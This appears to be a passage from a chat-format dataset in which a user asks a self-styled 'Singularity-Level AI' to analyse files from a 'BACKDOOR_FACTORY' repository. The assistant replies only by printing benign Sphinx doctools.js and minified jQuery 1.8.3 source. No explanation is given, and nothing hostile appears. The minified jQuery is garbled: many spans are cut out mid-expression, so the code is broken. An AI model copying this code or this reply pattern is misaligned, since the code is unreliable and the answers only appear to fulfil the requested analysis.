aPLib/doc/html/_static/doctools.js\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*\n * doctools.js\n * ~~~~~~~~~~~\n *\n * Sphinx JavaScript utilities for all documentation.\n *\n * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS.\n * :license: BSD, see LICENSE for details.\n *\n */\n\n/**\n * select a different prefix for underscore\n */\n$u = _.noConflict();\n\n/**\n * make the code below compatible with browsers without\n * an installed firebug like debugger\nif (!window.console || !console.firebug) {\n var names = [\"log\", \"debug\", \"info\", \"warn\", \"error\", \"assert\", \"dir\",\n \"dirxml\", \"group\", \"groupEnd\", \"time\", \"timeEnd\", \"count\", \"trace\",\n \"profile\", \"profileEnd\"];\n window.console = {};\n for (var i = 0; i < names.length; ++i)\n window.console[names[i]] = function() {};\n}\n */\n\n/**\n * small helper function to urldecode strings\n */\njQuery.urldecode = function(x) {\n return decodeURIComponent(x).replace(/\\+/g, ' ');\n};\n\n/**\n * small helper function to urlencode strings\n */\njQuery.urlencode = encodeURIComponent;\n\n/**\n * This function returns the parsed url parameters of the\n * current request. Multiple values per key are supported,\n * it will always return arrays of strings for the value parts.\n */\njQuery.getQueryParameters = function(s) {\n if (typeof s == 'undefined')\n s = document.location.search;\n var parts = s.substr(s.indexOf('?') + 1).split('&');\n var result = {};\n for (var i = 0; i < parts.length; i++) {\n var tmp = parts[i].split('=', 2);\n var key = jQuery.urldecode(tmp[0]);\n var value = jQuery.urldecode(tmp[1]);\n if (key in result)\n result[key].push(value);\n else\n result[key] = [value];\n }\n return result;\n};\n\n/**\n * highlight a given string on a jquery object by wrapping it in\n * span elements with the given class name.\n */\njQuery.fn.highlightText = function(text, className) {\n function highlight(node) {\n if (node.nodeType == 3) {\n var val = node.nodeValue;\n var pos = val.toLowerCase().indexOf(text);\n if (pos >= 0 && !jQuery(node.parentNode).hasClass(className)) {\n var span = document.createElement(\"span\");\n span.className = className;\n span.appendChild(document.createTextNode(val.substr(pos, text.length)));\n node.parentNode.insertBefore(span, node.parentNode.insertBefore(\n document.createTextNode(val.substr(pos + text.length)),\n node.nextSibling));\n node.nodeValue = val.substr(0, pos);\n }\n }\n else if (!jQuery(node).is(\"button, select, textarea\")) {\n jQuery.each(node.childNodes, function() {\n highlight(this);\n });\n }\n }\n return this.each(function() {\n highlight(this);\n });\n};\n\n/**\n * Small JavaScript module for the documentation.\n */\nvar Documentation = {\n\n init : function() {\n this.fixFirefoxAnchorBug();\n this.highlightSearchWords();\n this.initIndexTable();\n },\n\n /**\n * i18n support\n */\n TRANSLATIONS : {},\n PLURAL_EXPR : function(n) { return n == 1 ? 0 : 1; },\n LOCALE : 'unknown',\n\n // gettext and ngettext don't access this so that the functions\n // can safely bound to a different name (_ = Documentation.gettext)\n gettext : function(string) {\n var translated = Documentation.TRANSLATIONS[string];\n if (typeof translated == 'undefined')\n return string;\n return (typeof translated == 'string') ? translated : translated[0];\n },\n\n ngettext : function(singular, plural, n) {\n var translated = Documentation.TRANSLATIONS[singular];\n if (typeof translated == 'undefined')\n return (n == 1) ? singular : plural;\n return translated[Documentation.PLURALEXPR(n)];\n },\n\n addTranslations : function(catalog) {\n for (var key in catalog.messages)\n this.TRANSLATIONS[key] = catalog.messages[key];\n this.PLURAL_EXPR = new Function('n', 'return +(' + catalog.plural_expr + ')');\n this.LOCALE = catalog.locale;\n },\n\n /**\n * add context elements like header anchor links\n */\n addContextElements : function() {\n $('div[id] > :header:first').each(function() {\n $('\\u00B6').\n attr('href', '#' + this.id).\n attr('title', _('Permalink to this headline')).\n appendTo(this);\n });\n $('dt[id]').each(function() {\n $('\\u00B6').\n attr('href', '#' + this.id).\n attr('title', _('Permalink to this definition')).\n appendTo(this);\n });\n },\n\n /**\n * workaround a firefox stupidity\n */\n fixFirefoxAnchorBug : function() {\n if (document.location.hash && $.browser.mozilla)\n window.setTimeout(function() {\n document.location.href += '';\n }, 10);\n },\n\n /**\n * highlight the search words provided in the url in the text\n */\n highlightSearchWords : function() {\n var params = $.getQueryParameters();\n var terms = (params.highlight) ? params.highlight[0].split(/\\s+/) : [];\n if (terms.length) {\n var body = $('div.body');\n if (!body.length) {\n body = $('body');\n }\n window.setTimeout(function() {\n $.each(terms, function() {\n body.highlightText(this.toLowerCase(), 'highlighted');\n });\n }, 10);\n $('

' + _('Hide Search Matches') + '

')\n .appendTo($('#searchbox'));\n }\n },\n\n /**\n * init the domain index toggle buttons\n */\n initIndexTable : function() {\n var togglers = $('img.toggler').click(function() {\n var src = $(this).attr('src');\n var idnum = $(this).attr('id').substr(7);\n $('tr.cg-' + idnum).toggle();\n if (src.substr(-9) == 'minus.png')\n $(this).attr('src', src.substr(0, src.length-9) + 'plus.png');\n else\n $(this).attr('src', src.substr(0, src.length-8) + 'minus.png');\n }).css('display', '');\n if (DOCUMENTATION_OPTIONS.COLLAPSE_INDEX) {\n togglers.click();\n }\n },\n\n /**\n * helper function to hide the search marks again\n */\n hideSearchWords : function() {\n $('#searchbox .highlight-link').fadeOut(300);\n $('span.highlighted').removeClass('highlighted');\n },\n\n /**\n * make the url absolute\n */\n makeURL : function(relativeURL) {\n return DOCUMENTATION_OPTIONS.URL_ROOT + '/' + relativeURL;\n },\n\n /**\n * get the current relative url\n */\n getCurrentURL : function() {\n var path = document.location.pathname;\n var parts = path.split(/\\//);\n $.each(DOCUMENTATION_OPTIONS.URL_ROOT.split(/\\//), function() {\n if (this == '..')\n parts.pop();\n });\n var url = parts.join('/');\n return path.substring(url.lastIndexOf('/') + 1, path.length - 1);\n }\n};\n\n// quick alias for translations\n_ = Documentation.gettext;\n\n$(document).ready(function() {\n Documentation.init();\n});\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/doc/html/_static/jquery.js\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n/*! jQuery v1.8.3 jquery.com | jquery.org/license */\n(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i=\"data-\"+n.replace(P,\"-$1\").toLowerCase();r=e.getAttribute(i);if(typeof r==\"string\"){try{r=r===\"true\"?!0:r===\"false\"?!1:r===\"null\"?null:+r+\"\"===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t===\"data\"&&v.isEmptyObject(e[t]))continue;if(t!==\"toJSON\")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t==\"string\"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split(\"|\"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r\").appendTo(i.body),n=t.css(\"display\");t.remove();if(n===\"none\"||n===\"\"){Pt=i.body.appendChild(Pt||v.extend(i.createElement(\"iframe\"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write(\"\"),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,\"display\"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+\"[\"+(typeof i==\"object\"?t:\"\")+\"]\",i,n,r)});else if(!n&&v.type(t)===\"object\")for(i in t)fn(e+\"[\"+i+\"]\",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!=\"string\"&&(n=t,t=\"*\");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u)[^>]*$|#([\\w\\-]*)$)/,E=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,S=/^[\\],:{}\\s]*$/,x=/(?:^|:|,)(?:\\s*\\[)+/g,T=/\\\\(?:[\"\\\\\\/bfnrt]|u[\\da-fA-F]{4})/g,N=/\"[^\"\\\\\\r\\n]*\"|true|false|null|-?(?:\\d\\d*\\.|)\\d+(?:[eE][\\-+]?\\d+|)/g,C=/^-ms-/,k=/-([\\da-z])/gi,L=function(e,t){return(t+\"\").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener(\"DOMContentLoaded\",A,!1),v.ready()):i.readyState===\"complete\"&&(i.detachEvent(\"onreadystatechange\",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e==\"string\"){e.charAt(0)===\"<\"&&e.charAt(e.length-1)===\">\"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:\"\",jquery:\"1.8.3\",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t===\"find\"?r.selector=this.selector+(this.selector?\" \":\"\")+n:t&&(r.selector=this.selector+\".\"+t+\"(\"+n+\")\"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),\"slice\",l.call(arguments).join(\",\"))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u==\"boolean\"&&(l=u,u=arguments[1]||{},a=2),typeof u!=\"object\"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger(\"ready\").off(\"ready\")},isFunction:function(e){return v.type(e)===\"function\"},isArray:Array.isArray||function(e){return v.type(e)===\"array\"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||\"object\"},isPlainObject:function(e){if(!e||v.type(e)!==\"object\"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,\"constructor\")&&!p.call(e.constructor.prototype,\"isPrototypeOf\"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!=\"string\"?null:(typeof t==\"boolean\"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!=\"string\")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,\"@\").replace(N,\"]\").replace(x,\"\")))return(new Function(\"return \"+t))();v.error(\"Invalid JSON: \"+t)},parseXML:function(n){var r,i;if(!n||typeof n!=\"string\")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,\"text/xml\")):(r=new ActiveXObject(\"Microsoft.XMLDOM\"),r.async=\"false\",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName(\"parsererror\").length)&&v.error(\"Invalid XML: \"+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,\"ms-\").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[[\"resolve\",\"done\",v.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",v.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",v.Callbacks(\"memory\")]],n=\"pending\",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+\"With\"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+\"With\"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t
a\",n=p.getElementsByTagName(\"*\"),r=p.getElementsByTagName(\"a\")[0];if(!n||!r||!n.length)return{};s=i.createElement(\"select\"),o=s.appendChild(i.createElement(\"option\")),u=p.getElementsByTagName(\"input\")[0],r.style.cssText=\"top:1px;float:left;opacity:.5\",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName(\"tbody\").length,htmlSerialize:!!p.getElementsByTagName(\"link\").length,style:/top/.test(r.getAttribute(\"style\")),hrefNormalized:r.getAttribute(\"href\")===\"/a\",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value===\"on\",optSelected:o.selected,getSetAttribute:p.className!==\"t\",enctype:!!i.createElement(\"form\").enctype,html5Clone:i.createElement(\"nav\").cloneNode(!0).outerHTML!==\"<:nav>\",boxModel:i.compatMode===\"CSS1Compat\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent(\"onclick\",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent(\"onclick\"),p.detachEvent(\"onclick\",h)),u=i.createElement(\"input\"),u.value=\"t\",u.setAttribute(\"type\",\"radio\"),t.radioValue=u.value===\"t\",u.setAttribute(\"checked\",\"checked\"),u.setAttribute(\"name\",\"t\"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f=\"on\"+l,c=f in p,c||(p.setAttribute(f,\"return;\"),c=typeof p[f]==\"function\"),t[l+\"Bubbles\"]=c;return v(function(){var n,r,s,o,u=\"padding:0;margin:0;border:0;display:block;overflow:hidden;\",a=i.getElementsByTagName(\"body\")[0];if(!a)return;n=i.createElement(\"div\"),n.style.cssText=\"visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px\",a.insertBefore(n,a.firstChild),r=i.createElement(\"div\"),n.appendChild(r),r.innerHTML=\"
t
\",s=r.getElementsByTagName(\"td\"),s[0].style.cssText=\"padding:0;margin:0;border:0;display:none\",c=s[0].offsetHeight===0,s[0].style.display=\"\",s[1].style.display=\"none\",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML=\"\",r.style.cssText=\"box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;\",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!==\"1%\",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:\"4px\"}).width===\"4px\",o=i.createElement(\"div\"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width=\"0\",r.style.width=\"1px\",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!=\"undefined\"&&(r.innerHTML=\"\",r.style.cssText=u+\"width:1px;padding:1px;display:inline;zoom:1\",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display=\"block\",r.style.overflow=\"visible\",r.innerHTML=\"
\",r.firstChild.style.width=\"5px\",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\\{[\\s\\S]*\\}|\\[[\\s\\S]*\\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:\"jQuery\"+(v.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n==\"string\",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n==\"object\"||typeof n==\"function\")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(\" \")));for(i=0,s=t.length;i1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||\"fx\")+\"queue\",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||\"fx\";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i===\"inprogress\"&&(i=n.shift(),r--),i&&(t===\"fx\"&&n.unshift(\"inprogress\"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks(\"once memory\").add(function(){v.removeData(e,t+\"queue\",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!=\"string\"&&(n=e,e=\"fx\",r--),arguments.length1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e==\"string\"){t=e.split(y);for(n=0,r=this.length;n=0)r=r.replace(\" \"+n[s]+\" \",\" \");i.className=e?v.trim(r):\"\"}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t==\"boolean\";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n===\"string\"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?\"addClass\":\"removeClass\"](i)}else if(n===\"undefined\"||n===\"boolean\")this.className&&v._data(this,\"__className__\",this.className),this.className=this.className||e===!1?\"\":v._data(this,\"__className__\")||\"\"})},hasClass:function(e){var t=\" \"+e+\" \",n=0,r=this.length;for(;n=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&\"get\"in n&&(r=n.get(s,\"value\"))!==t?r:(r=s.value,typeof r==\"string\"?r.replace(R,\"\"):r==null?\"\":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s=\"\":typeof s==\"number\"?s+=\"\":v.isArray(s)&&(s=v.map(s,function(e){return e==null?\"\":e+\"\"})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!(\"set\"in n)||n.set(this,s,\"value\")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type===\"select-one\"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute==\"undefined\")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&\"set\"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+\"\"),r)}return o&&\"get\"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\\.]*|)(?:\\.(.+)|)$/,K=/(?:^|\\s)hover(\\.\\S+|)\\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,\"mouseenter$1 mouseleave$1\")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v==\"undefined\"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(\" \");for(f=0;f=0&&(y=y.slice(0,-1),a=!0),y.indexOf(\".\")>=0&&(b=y.split(\".\"),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n==\"object\"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join(\".\"),n.namespace_re=n.namespace?new RegExp(\"(^|\\\\.)\"+b.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,h=y.indexOf(\":\")<0?\"on\"+y:\"\";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!=\"string\")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,\"$1\"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n===\"input\"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n===\"input\"||n===\"button\")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+\" \"];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j,\" \");for(o in i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir===\"parentNode\",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+\" \"+o+\" \",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a==\"string\"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[\" \"],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return 